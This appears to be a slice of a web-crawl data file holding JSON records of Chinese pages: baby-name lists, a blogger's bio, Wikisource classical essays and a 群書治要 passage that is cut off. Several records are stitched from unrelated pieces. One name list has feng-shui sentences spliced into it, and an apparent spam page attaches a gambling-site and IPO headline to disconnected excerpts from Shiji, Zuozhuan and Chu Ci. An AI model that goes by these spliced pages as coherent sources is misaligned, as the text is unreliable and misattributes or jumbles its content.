马瑞生 丁明良 曹旗凯 袁荣胜 杨林旭 马长栓 薛金玉 马书仁 王仲儒 范福星 冯正刚 周金全 耿存良 王志贤 王振美 贾春永 马庆邦 李诸册 肖与 韩书田 李路翔 陈星苑 张学东 马兰坤 禹连正 戚发任 尚新风 昌凤彩 张治生 王景章 赵造林 许文福 宋书生 李基浩 王雄才 宋书章 常文让 高爱萍 杨茂基 徐龙 罗遵贤 吴万枢 周鑫辰 张雨生 郭锡刚 乐德智 连正远 马志贞 孙育勋 蒋建明 郭先芳 张振响 胡益厚 康保 郭桂荣 朱友仙 吴祖智 谷军 王连发 杜学斌 金民富 王宝宏 袁光辉\n有不一样的发现\n于试\n于乾试,笔名于试、于 是、弋工。男,汉族。湖南常德人。1983年毕业于湖南函大中文系。1968年下乡于常德。主讲中国文学、文秘档案专业。为中国楹联学会会员、中国书画学会会员、中国农村中学语文研究员、湖南屈原学会会员、湖南诗词学会会员、临澧宋玉学会顾问,系湖南作家。\n凤凰博报微信","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/yqs.blog.ifeng.com\/article\/45983289.html","date":"2017-06-27T06:53:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128321025.86\/warc\/CC-MAIN-20170627064714-20170627084714-00493.warc.gz","language":"lzh","language_score":0.5486705303,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5486705303192139, \"cmn_Hani_score\": 0.36410167813301086, \"nan_Hani_score\": 0.07029912620782852, \"wuu_Hani_score\": 0.015095150098204613}","num_words":3454,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.556,"perplexity_score":500.0,"cluster_detection":1} +{"text":"王宜佳,谐音《诗经·周南·桃夭》:\"之子于归,宜其室家。\"\n五行缺木 喜木 王艺蓉 三才 土土金 吉\n王娥衡 王滢娣 王娣洋 王亭桦 王禾淇 王栖昀 王瑛蔷 王宇初 王月瑶 王景千 王妍宜 王庭云 王均茜 王菡珊 王芪育 王莘均 王允颖 王宠昕 王春敏 王红迪 王凯润 王曦娴 王小梓 王芳芷 王洪贤 王菁誉 王怡易 王育京 王薇浩 王方妤 王梅星 王沐娥 王...\n王书晴,书怡,书苹,书婷,书曼,书静,书璟,书黎,书莹,书默\n王佳依 属猴🐵 明字应带有 人 木 佳:佳人 美女 依:有风度 又小鸟依人 不失大度 有出淤泥而不染 谢谢 请采纳\n王姓很普遍,所以就在名字上取个洋气点的 王涩琪 王慧彬 王宝儿 王恩敏 王慧乔 王恩珠 王佳人 王由美 王梨茵 王美京 王秀晶 王英爱 王静怡 王瑞希 王诗萱 王柔美 王美妍 王善雅 王智慧 王惠贞 王莉妍 王智秀 王惠静 王智敏 王恩星 王孝珠 王正恩...\n王安静,王诗韵!王韵慧。\n王府弄瓦俏婵娟 诗情画意快乐卷 菡萏骨朵待放欢 美人喜笑颜开媛\n王悦梅 王悦真 王悦菲 王悦霞 王悦莲 王悦彤 王悦婵 王悦岚 王悦静 王悦雯 王悦晴 王悦珊 王悦玲 王悦萱 王悦瑶 王悦兰 王悦佳 王悦珍 王悦琪 王悦柏 王悦蝶 王悦茜 王悦芳 王悦馨 王悦嘉 王悦楠","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/mlfk.net\/read\/0-b8-df-b7-d6-c7-f3-cd-f5-d0-d5-c5-ae-ba-a2-c3-fb-d7-d6-a3-ac-b3-f6-d7-d4-d2-e2-cb-bc-ba-c3-b5-c4-b9-c5-ce-c4-b5-e4-b9-ca-d7-ee-bc-d1-a3-a1.html","date":"2019-01-21T23:51:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583822341.72\/warc\/CC-MAIN-20190121233709-20190122015709-00275.warc.gz","language":"lzh","language_score":0.8387274146,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8387274146080017, \"nan_Hani_score\": 0.10791968554258347, \"cmn_Hani_score\": 0.05329648032784462}","num_words":113,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.263,"stopwords_ratio":0.018,"flagged_words_ratio":0.0,"lang_id_score":0.9,"perplexity_score":500.0,"cluster_detection":1} +{"text":",\n今天的主题是姓禹的男孩名字大全......\n给宝宝起个有优美读音,还应该有美好寓意的好姓名,也可以像一部经典作品一样,源远流长,但是大家给宝宝起名时常常发现,给宝宝取名还是很有讲究的......男孩姓禹叫什么名字好到底应该怎么选?\n名字大全网为大家提供高打分的名字参考资料,姓名网姓名均为本站顾问等大师通过名字剖象取名,名字网的名字不是别的网站信手复制而来。本站给家长们提供最专业的免费起名服务。\n姓禹的男宝宝名字,如果你的宝宝姓禹,不妨到这里选一个适合你的名字哦。希望大家多多关注哦~\n男孩名字大全\n禹浩宇 禹伟祺 禹俊杰 禹皓轩 禹子轩 禹弘文 禹哲瀚 禹峻熙 禹昊天 禹智渊 禹天宇 禹博瀚 禹德泽 禹高朗 禹嘉懿 禹杰伟 禹俊朗 禹嘉熙 禹雄逸 禹修杰 禹伟诚 禹懿轩 禹英杰 禹文彬 禹豪健 禹致远 禹晟睿 禹文博 禹天佑 禹俊驰 禹明杰 禹雨泽 禹烨磊 禹伟奇 禹文昊 禹黎昕 禹远航 禹圣杰 禹俊楠 禹鸿涛 禹志泽 禹睿渊 禹楷瑞 禹建辉 禹天磊 禹绍辉 禹浩南 禹鑫磊 禹昊强 禹伟宸 禹博超 禹君浩 禹鹏涛 禹炎彬 禹伟泽 禹明辉 禹明轩 禹君昊 禹博涛 禹苑杰 禹晋鹏 禹智宸 禹立轩 禹鑫鹏 禹荣轩 禹思聪 禹展鹏 禹志强 禹雪松 禹浩然 禹昊焱 禹锦程 禹鹏飞 禹浩轩 禹聪健 禹成文 禹景盛 禹德辉 禹承泽 禹泽宇 禹英睿 禹英毅 禹星宇 禹泰然 禹天睿 禹浩泽 禹思远 禹绍祺 禹睿博 禹明轩 禹嘉宇 禹伟生 禹超 禹凡 禹军华 禹子熙 禹一鸣 禹大瑜 禹鉴清 禹双群 禹骏锴 禹子敬 禹贵君 禹正楠 禹志嘉 禹小寒 禹栩泽 禹启桓 禹芸 禹牧来 禹与智 禹紫耘 禹心焰 禹明秀 禹瑞泽 禹昕隆 禹华东 禹子居 禹文鑫 禹思琪 禹塬 禹明山 禹晓林 禹亦澎 禹彦强 禹国振 禹薇 禹易发 禹乐铖 禹妙微 禹王东 禹洪于 禹艺雯 禹相洲 禹良俊 禹艾伦 禹建合 禹晓明 禹秋帆 禹翔熙 禹英芝 禹汉新 禹文威 禹学航 禹楚君 禹唯 禹德华 禹德 禹欣 禹成林 禹上 禹旭宁 禹瀚义 禹海耀 禹乐嘉 禹杭泽 禹义胜 禹耀亮 禹明康 禹泽君 禹鹏飞 禹锦天 禹哓哓 禹剑伟 禹福俊 禹清雅 禹隆达 禹瑞金 禹军锋 禹少琦 禹子博 禹豪哲 禹旭阳 禹星晨 禹云峰 禹哲皓 禹志豪 禹明宇 禹晨阳 禹子皓 禹宇晨 禹毅峰 禹家豪 禹天麒 禹麒麟 禹浩泽 禹光明 禹锦璇 禹钦媄 禹珺彤 禹天博 禹东博 禹露 禹晴 禹钧腾 禹茗皓 禹朋来 禹亦 禹沐岑 禹宏稳 禹昶言 禹琴月 禹赢梦 禹洁蓉 禹丝雨 禹佳宝 禹鼎 禹丁丁 禹丁 禹虎林 禹美子 禹恩慧 禹子皓 禹濛 禹明昊 禹经纬 禹宙 禹滴 禹君伟 禹乐郡 禹思米 禹楷温 禹和平 禹书越 禹雄天 禹添医 禹运华 禹广茂 禹临 禹恬熠 禹小晶 禹廷梁 禹蛮 禹浩如 禹菀殷 禹义景 禹可菲 禹西 禹孔 禹明明 禹芸斐 禹玉声 禹雨豪 禹振枢 禹衣 禹菱 禹宏行 禹炜 禹异晨 禹念舟 禹涵 禹俊鑫 禹玉翔 禹智 禹昊伟 禹松 禹静巍 禹烽钰 禹立果 禹小华 禹宗敏 禹青汇 禹昌明 禹健宁 禹春蕾 禹乐舜 禹铁泾 禹清静 禹诚谦 禹婉 禹羲之 禹彬彬 禹梦迪 禹安康 禹宇萌 禹松良 禹祥胜 禹昊晨 禹广闻 禹琢晗 禹家夷 禹梦宁 禹芷燃 禹新桥 禹时强 禹敏芝 禹一潍 禹译萱 禹忠进 禹雅睿 禹光 禹帅嫱 禹夏 禹秋晨 禹明君 禹镁 禹简 禹思源 禹辰帛 禹策 禹诗晗 禹菲 禹威 禹建铸 禹雪春 禹芝仪 禹普弘 禹文元 禹先博 禹易腾 禹凯舟 禹磊群 禹培瑜 禹颖裳 禹峻一 禹深 禹诗蓝 禹陇操 禹培培 禹弘轩 禹轲斌 禹正昊 禹欣尧 禹一豌 禹诗圻 禹股欢 禹雪萌 禹彩歆 禹波 禹汪钥 禹哲昊 禹绍琨 禹林静 禹斐华 禹笑甜 禹兆泽 禹晓健 禹骐祯 禹本元 禹赋 禹炳绰 禹柏均 禹荞菠 禹晓晶 禹一昊 禹守兔 禹知古 禹健翎 禹小平 禹丽华 禹海昆 禹垒 禹奇雄 禹东朝 禹夏茵 禹若彦 禹骥昔 禹二洱 禹承绪 禹相海 禹诺涵 禹歆智 禹思昊 禹晴笆 禹涵翼 禹希铭 禹艳珍 禹松知 禹琰 禹思子 禹琨 禹亭 禹天翼 禹丰煊 禹建忠 禹海诗 禹文彦 禹雨禾 禹杰本 禹一赫 禹昌盛 禹斐然 禹安民 禹爱国 禹越新 禹谰倬 禹丽明 禹卿 禹喜睿 禹楚璇 禹开运 禹豫岷 禹十九 禹爱仙 禹潆 禹峻涵 禹学成 禹银 禹俊潼 禹文钊 禹钰欣 禹利 禹翎语 禹长宁 禹思勇 禹菁清 禹小六 禹万礼 禹宠炜 禹文吉 禹宇馨 禹家胜 禹颂林 禹思宇 禹美鑫 禹路溪 禹骏威 禹三寿 禹桂平 禹龙昊 禹胜瑜 禹睿 禹子坤 禹讯宝 禹柯 禹军诚 禹嘉毅 禹文月 禹艺川 禹云范 禹连彬 禹玉龙 禹安琪 禹汉师 禹志 禹夕严 禹丹鹂 禹研 禹飞隆 禹德成 禹钧达 禹宏伟 禹轩暄 禹笙伟 禹晨昊 禹恩悯 禹正昂 禹馨鑫 禹淼森 禹佩希 禹志根 禹昀奕 禹锦绣 禹绪卿 禹艺嘉 禹彦庆 禹朝晖 禹佰财 禹迎第 禹文钏 禹靖雯 禹诗梦 禹琬凌 禹山耀 禹嗣和 禹飞耀 禹小凌 禹贝炜 禹琢丞 禹迪安 禹明杰 禹伦辉 禹之效 禹晓楠 禹仙木 禹荔菱 禹展瑜 禹连鸿 禹海润 禹桢祺 禹矜 禹川 禹挺 禹昂顺 禹添翼 禹菲杨 禹寅峰 禹苏凌 禹曼华 禹龙 禹元斌 禹智萤 禹彩云 禹益 禹御洋 禹耗 禹静语 禹霖枫 禹越 禹熙崇 禹渠 禹庆峰 禹威 禹远碧 禹远平 禹天天 禹渺杉 禹笑言 禹为民 禹愈宾 禹玉奇 禹泉东 禹世洋 禹万姿 禹席 禹文雯 禹祀珊 禹令奇 禹钺烨 禹新宇 禹傲然 禹莘宇 禹伟煌 禹煜丰 禹子桢 禹迅 禹正民 禹宇渲 禹懿霏 禹振军 禹茜雯 禹奕桦 禹明辉 禹伟麟 禹潇檑 禹子岩 禹桦雯 禹涛 禹依萌 禹莼 禹国海 禹洙 禹佳徐 禹伟会 禹献科 禹文贵 禹国洪 禹梦菲 禹宏栊 禹小鹏 禹硕烊 禹尚骏 禹勤业 禹浩帅 禹慧晴 禹羊 禹萌 禹佳琛 禹琪沣 禹仙 禹计为 禹和平 禹红鑫 禹欣睿 禹栋权 禹吣蝓 禹国力 禹俊才 禹佳键 禹锦波 禹佩缨 禹火锋 禹若 禹喜恩 禹润龙 禹毅 禹裎鼋 禹雨荷 禹禺 禹奇奇 禹哲龙 禹宣辰 禹兆仿 禹庆阁 禹清清 禹锦蔚 禹远绎 禹墨语 禹若彤 禹熙荫 禹丽慧 禹加伦 禹玫露 禹奕成 禹泓清 禹天恒 禹军 禹俊希 禹浩尊 禹锐刚 禹雨叶 禹杭峰 禹天钰 禹译海 禹翌萧 禹敏 禹潇 禹志俊 禹祺瑞 禹欣奇 禹琬淇 禹淑会 禹世彩 禹川 禹玉珏 禹沁州 禹家禾 禹梓竹 禹泽忠 禹溪 禹浩然 禹嗣轩 禹学谦 禹心聿 禹克兵 禹欣荣 禹鸭 禹云储 禹如杰 禹柯延 禹荟 禹翔 禹树渤 禹霏 禹昀忻 禹水 禹颍霖 禹琪然 禹金晋 禹睿斌 禹卫平 禹建荣 禹苏容 禹轶皓 禹树岗 禹文硕 禹都 禹然 禹文徽 禹印 禹三硕 禹纯阳 禹启轩 禹译 禹灏城 禹一戴 禹小均 禹火军 禹薪圄 禹五星 禹远 禹方然 禹锦青 禹欣博 禹壹 禹卓锦 禹立翼 禹冠霖 禹奎益 禹春峰 禹邦友 禹开算 禹浩卜 禹鑫竣 禹雅慧 禹好运 禹可儿 禹金洋 禹慧霖 禹已俭 禹兆腾 禹添一 禹峻豪 禹日升 禹秀 禹周 禹毅 禹禾月 禹俊言 禹品初 禹长庆\n2009-2018 名字大全(www.MingZi.cn) 辽ICP备14017459号\n男孩名字大全、女孩名字大全、名字测试打分、取名字大全","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/www.mingzi.cn\/nanhai\/451407.html","date":"2019-05-20T23:44:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232256163.40\/warc\/CC-MAIN-20190520222102-20190521004102-00501.warc.gz","language":"lzh","language_score":0.5621445775,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5621445775032043, \"nan_Hani_score\": 0.37079155445098877, \"und_Ethi_score\": 0.03249884769320488, \"cmn_Hani_score\": 0.022189147770404816}","num_words":699,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.577,"perplexity_score":500.0,"cluster_detection":1} +{"text":"戎君 戎赛 戎研 戎婕 戎萱 戎翠 戎妩 戎燕 戎炎 戎恝 戎琦 戎青 戎泥 戎歆 戎坤 戎柳 戎熠 戎泺 戎克 戎颊 戎源 戎嫣 戎丝 戎心 戎耕 戎瑗 戎而 戎处 戎桥 戎琛 戎妙 戎荷 戎隅 戎督 戎尼 戎暄 戎姣 戎苈 戎洲 戎翊 戎倩 戎濠 戎译 戎锐 戎菁 戎画 戎童 戎琳 戎荣 戎豪 戎毓 戎若 戎家 戎柏 戎晴 戎礼 戎碧 戎芹 戎凌 戎渊 戎滢 戎盏 戎娜 戎霜 戎涵 戎州 戎雪 戎珠 戎竺 戎姜 戎蓉 戎萍 戎悠 戎慧 戎妹 戎胛 戎方 戎丹 戎钰 戎戛 戎特 戎迎 戎扬 戎锦 商业风水中上班族应该注意的问题 相信很多人都知道办公室风水应该注意些什么问题, 戎莺 戎娴 戎漓 戎瞳 戎刚 戎男 戎颜 戎施 戎焕 戎彬 戎悌 戎恺 戎远 戎来 戎玥 戎凰 戎爱 戎松 戎惠 戎翼 戎杉 戎熙 戎菡 戎耀 戎郧 戎寄 戎炳 戎裔 戎顺 戎月 戎荔 戎黎 戎誉 戎周 戎芝 戎军 戎婵 戎窝 戎湛 戎一 戎怡 戎依 戎日 戎号 戎钊 戎子 戎卡 戎灿 戎桃 戎奇 戎梁 戎在 戎儿 戎聪 戎梅 戎璧 戎淑 戎玙 戎雁 戎声 戎纨 戎弼 戎晓 戎草 戎镜 戎皋 戎钢 戎函 戎旋 戎澍 戎花 戎雯 戎莲 戎震 戎双 戎驭 戎婉 戎亚 戎含 戎俐 戎荻 戎星 戎磊 戎爽 戎乐 戎素 戎凤 戎希 戎晞 戎海 戎弋 戎赢 戎庄 戎会 戎叙 戎江 戎浓 戎凝 戎流 戎成 戎猛 戎燧 戎策 戎枝 戎力 戎翔 戎绮 戎开 戎卉 戎芙 戎新 戎峤 戎蕊 戎瑾 戎芊 戎中 戎岩 戎念 戎葭 戎女 戎槐 戎钱 戎尘 戎弈 戎昀 戎楷 戎宵 戎宛 戎临 戎飚 戎绿 戎霞 戎妍 戎曦 戎媛 戎至 戎彤 戎喜 戎帅 戎讯 戎铄 戎庆 戎迦 戎晶 戎雨 戎妞 戎盼 戎仙 戎李 戎漪 戎枷 戎羽 戎云 戎锌 戎飒 戎缦 戎春 戎巾 戎豫 戎宇 戎姗 戎芮 戎葳 戎霓 戎岷 戎悦 戎恒 戎烟 戎芬 戎勃 戎偲 戎灸 戎艺 戎秀 戎欣 戎娟 戎烁 戎韩 戎容 戎纯 戎真 戎诗 戎伦 戎忆 戎科 戎芃 戎铮 戎溪 戎睿 戎德 戎淏 戎栏 戎意 戎余 戎宏 戎迪 戎冲 戎霄 戎岚 戎兵 戎召 戎金 戎如 戎彩 戎蕾 戎健 戎俞 戎天 戎晟 戎波 戎续 戎靖 戎颂 戎璐 戎织 戎喃 戎笙 戎苒 戎风 戎采 戎滈 戎舒 戎涛 戎亮 戎跃 戎姬 戎汛 戎苓 戎利 戎琼 戎淇 戎郏 戎吟 戎蝻 戎沁 戎霁 戎萌 戎妃 戎砾 戎岬 戎筠 戎义 戎珺 戎兰 戎歌 戎立 戎茜 戎堙 戎枊 戎淘 戎巍 戎颢 戎鸿 戎映 戎夕 戎伊 戎笠 戎瑞 戎珍 戎菊 戎殷 戎嘉 戎奕 戎微 戎融 戎曼 戎培 戎怀 戎蓓 戎煊 戎幼 戎宁 戎尧 戎昶 戎加 戎峻 戎英 戎虹 戎沙 戎紫 戎环 戎莉 戎骊 戎霏 戎幻 戎闫 戎咏 戎轲 戎澎 戎翌 戎叶 戎艳 戎凯 戎妮 戎园 戎凡 戎宜 戎溜 戎均 戎飞 戎莎 戎朔 戎皞 戎霖 戎易 戎沂 戎盟 戎蓝 戎毅 戎鄢 戎遇 戎晨 戎菲 戎东 戎芷 戎旎 戎历 戎烨 戎域 戎禹 戎坊 戎苑 戎逸 戎栩 戎玛 戎娥 戎筱 戎可 戎颖 戎洁 戎瑜 戎锋 戎武 戎裕 戎珊 戎琰 戎二 戎香 戎煜 戎懿 戎梦 戎傲 戎南 戎淖 戎寒 戎从 戎曲 戎静 戎燃 戎昊 戎原 戎馨 戎育 戎藤 戎根 戎晗 戎娅 戎骁 戎壮 戎贞 戎菱 戎尔 戎浩 戎欢 戎妤 戎垒 戎强 戎勖 戎语 戎戈 戎玮 戎敏 戎罡 戎巧 戎姊 戎厦 戎郁 戎琇 戎榕 戎洋 戎腾 戎峰 戎蒿 戎旌 戎京 戎思 戎鹊 戎宴 戎润 戎绪 戎轶 戎铃 戎琪 戎娇 戎群 戎华 戎坷 戎愉 戎婷 戎小 戎袷 戎薇 戎伟 戎澜 戎芯 戎清 戎佳 戎红 戎芸 戎聿 戎玲 戎旭 戎琬 戎阅 戎听 戎轩 戎茹 戎愿 戎沼 戎勤 戎枫 戎珏 戎悯 戎佩 戎竹 戎宝 戎西 戎漾 戎值 戎梓 戎茵 戎愈 戎影 戎屹 戎笛 戎韵 戎露 戎芳 戎韬 戎玉 戎袈 戎超 戎卿 戎秭 戎岗 戎灏 戎山 戎嘏 戎仪 戎蝶 戎辉 戎秋 戎水 戎音 戎初 戎灵 戎钗 戎潜 戎寅 戎桂 戎杨 戎柔 戎姝 戎桦 戎昭 戎瑶 戎嗥 戎垣 戎丽 戎卫 戎驾 戎博 戎鹂 戎则 戎冰 戎娣 戎鹿 戎昕 戎躏 戎人 戎姿 戎鑫 戎琴 戎茗 戎飘 戎楠 戎闽 戎雅 戎美 戎莹 戎婧 戎颐 戎黛但是对于上班族来说又有哪些需要注意的风水问题呢?今天好名字网小编就来和大家说说吧。\n关键词: 女孩起名","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.guangdongpost.com\/nvhaiqiming\/828.html","date":"2019-12-07T01:45:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540491871.35\/warc\/CC-MAIN-20191207005439-20191207033439-00041.warc.gz","language":"lzh","language_score":0.9620271921,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9620271921157837, \"nan_Hani_score\": 0.03233552351593971}","num_words":581,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.322,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.965,"perplexity_score":500.0,"cluster_detection":1} +{"text":"講官議\n孔子之語教人曰:不憤悱不啟發。舉一隅不以三隅反,則不告也。孟子之語教人曰:有答問者。荀子之語教人曰:「不問而告謂之傲,問一而告二謂之囋。傲,非也。囋,非也。君子如響。」故《禮》無往教而有待問,則師之道,有問而告之者爾。世之挾書而講者,終日言,而非有問之者也,乃不自知其強聒而欲以師自任,何其妄也!\n古之教世子之法,太傅審父子君臣之道以示之,少傅奉世子以觀太傅之德行而審喻之。則示之以道者,以審喻之為淺,故不為也。況於師者,何為也哉?正己而使觀之者化爾。故得其行者,或不得其所以行;得其言者,或不得其所以言也。仰之而彌高,鑽之而彌堅,德如是,然後師之道盡。故天子不得而召也,諸侯不得而友也,又況得而臣之乎?此伊尹、太公、子思、孟子之徒所以忘人之勢,而唐虞三代大有為之君所以自忘其勢也。\n世之挾書而講於禁中者,官以侍為名,則其任故可知矣。乃自以謂吾師道也,宜坐而講,以為請於上,其為說曰:「必如是,然後合於古之所謂坐而論道者也。」夫坐而論道,謂之王公,作而行之,謂之卿大夫,語其任之無為與有為,非以是為尊師之道也。且禮於朝,王及群臣皆立,無獨坐者;於燕皆坐,無獨立者,故坐未嘗以為尊師之禮也。昔晉平公之於亥唐,坐雲則坐。曾子之侍仲尼,子曰參復坐。則坐雲者,蓋師之所以命學者,未果有師道也。顧僕僕然以坐自請者也,則世之為此者非妄歟?故為此議以解其惑。\n|本北宋作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/zh.wikisource.org\/wiki\/%E8%AC%9B%E5%AE%98%E8%AD%B0","date":"2020-02-18T00:37:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875143455.25\/warc\/CC-MAIN-20200217235417-20200218025417-00289.warc.gz","language":"lzh","language_score":0.468682766,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.46868276596069336, \"cmn_Hani_score\": 0.43540287017822266, \"wuu_Hani_score\": 0.04404022544622421, \"nan_Hani_score\": 0.034294597804546356}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.586,"perplexity_score":500.0,"cluster_detection":1} +{"text":"大赢家足球比分网执业宁武新材料IPO违规安永华明会计所被出具警示函\n乌孙使既见汉人众富厚,归报其国,其国乃益重汉。其後岁馀,骞所遣使通大夏之属者皆颇与其人俱来,於是西北国始通於汉矣。然张骞凿空,其後使往者皆称博望侯,以为质於外国,外国由此信之。\n昔帝鸿氏有不才子,掩义隐贼,好行凶慝,天下谓之浑沌。少皞氏有不才子,毁信恶忠,崇饰恶言,天下谓之穷奇。颛顼氏有不才子,不可教训,不知话言,天下谓之梼杌。此三族世忧之。至于尧,尧未能去。缙云氏有不才子,贪于饮食,冒于货贿,天下谓之饕餮。天下恶之,比之三凶。舜宾于四门,乃流四凶族,迁于四裔,以御螭魅,于是四门辟,言毋凶人也。\n及李夫人卒,则有尹婕妤之属,更有宠。然皆以倡见,非王侯有土之士女,不可以配人主也。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮\n十年,韩姬弑其君悼公。十一年,昭侯如秦。二十二年,申不害死。二十四年,秦来拔我宜阳。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/jrykl.suckkk.com\/PBYAY07056.html","date":"2020-02-26T09:22:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146341.16\/warc\/CC-MAIN-20200226084902-20200226114902-00377.warc.gz","language":"lzh","language_score":0.4924938381,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4924938380718231, \"cmn_Hani_score\": 0.3124072551727295, \"nan_Hani_score\": 0.1075124591588974, \"wuu_Hani_score\": 0.019564997404813766, \"yue_Hani_score\": 0.013723504729568958}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.464,"perplexity_score":500.0,"cluster_detection":1} +{"text":"度賦\n跳到导航 跳到搜索\n昔在太始,原於物初。天地草昧,建皇王以為宰;淳樸自理,非賢臣而勿居。曆雲官與鳥職,接《洪範》而《周書》,無不較權衡之輕重,考度量之盈虛。因物以極神,托數以明象,積分而成寸,引尺而為丈。列陰耦而陽奇,法天三而地兩,準之億萬,其如指掌。時止則止,時行則行,隨物而應,施不失平。其至妙也,多少不能以藏數;其至微也,長短不能以隱情。易而無欺,簡而無惑,節之以禮,其儀不忒。聖人進退以觀象,君子方圓而取則,成百王之規矩,為萬代之繩墨。欽若伯禹,聖哉為王,道濟天下,爰敕大章。投足既廣,行地無疆,彼裏之難測,用度之可量。四時以日月為明,萬國以君王作大,同衡律而一軌量,海內平而天下泰。居日中而成市,觀異方而畢會,在商賈之所資,惟尺度而為最。夫道以神契,物以言筌,義無不盡,理無不全。度之為物也,資道以為用;度之為道也,托物而無偏。述斯往矣,吾不知所以然。\n|本唐朝作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/zh.wikisource.org\/wiki\/%E5%BA%A6%E8%B3%A6","date":"2023-06-01T09:37:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224647639.37\/warc\/CC-MAIN-20230601074606-20230601104606-00082.warc.gz","language":"lzh","language_score":0.4450674951,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.44506749510765076, \"cmn_Hani_score\": 0.3047887682914734, \"nan_Hani_score\": 0.08805305510759354, \"wuu_Hani_score\": 0.04126833751797676, \"yue_Hani_score\": 0.02836705930531025, \"zxx_Latn_score\": 0.022404363378882408}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.391,"perplexity_score":500.0,"cluster_detection":1} +{"text":"體 論\n群書治要卷四十八\n人主之大患。莫大乎好名。人主好名。則群臣知所要矣。夫名所以名善者也。善修而名自隨之。非好之之所能得也。苟好之甚。則必僞行要名。而奸臣以僞事應之。一人而受其慶。則舉天下應之矣。君以僞化天下。欲貞信敦樸。誠難矣。雖有至聰至達之主。由無緣見其非。而知其僞。况庸主乎。人主之高而處隩。譬猶游雲夢而迷惑。當借左右以正東西者也。左曰功巍巍矣。右曰名赫赫乎。今日聞斯論。明日聞斯論。苟不校之以事類。則人主囂然自以爲名齊乎堯、舜。而化洽乎泰平也。群臣璅璅皆不足任也。堯、舜之臣。宜獨斷者也。不足任之臣。當受成者也。以獨斷之君。與受成之臣。帥訛僞之俗。而天下治者。未之有也。\n夫聖人之修其身。所以御群臣也。御群臣也。所以化萬民也。其法輕而易守。其禮簡而易持。其求諸己也誠。其化諸人也深。苟非其人。道不虚行。苟非其道。治不虚應。是以古之聖君之於其臣也。疾則視之無數。死則臨其大斂小斂。爲徹膳不舉樂。豈徒色取仁而實違之者哉。乃慘怛之心。出於自然。形於顔色。世未有不自然而能得人自然者也。色取仁而實違之者。謂之虚。不以誠待其臣。而望其臣以誠事己、謂之愚。虚愚之君。未有能得人之死力者也。故書稱君爲元首。臣爲股肱。期其一體相須而成也。而儉僞淺薄之士。有商鞅、韓非、申不害者。專飾巧辯邪僞之術。以熒惑諸侯。著法術之書。其言云。尊君而卑臣。上以尊君取容於人主。下以卑臣得售其奸説。此聽受之端。參言之要。不可不慎。元首已尊矣。而復云尊之。是以君過乎頭也。股肱已卑矣。而復曰卑之。是使其臣不及乎手足也。君過乎頭而臣不及乎手足。是離其體也。君臣體離。而望治化之洽。未之前聞也。\n且夫術家説又云。明主之道。當外御群臣。内疑妻子。其引證連類。非不辯且悦也。然不免於利口之覆國家也。何以言之。夫善進。不善無由入。不善進。善亦無由入。故湯舉伊尹而不仁者遠。何畏乎驩兜。何遷乎有苗。夫奸臣賊子。下愚不移之人。自古及今。未嘗不有也。百歲一人。是爲繼踵。千里一人。是爲比肩。而舉以爲戒。是猶一噎而禁食也。噎者雖少。餓者必多。未知奸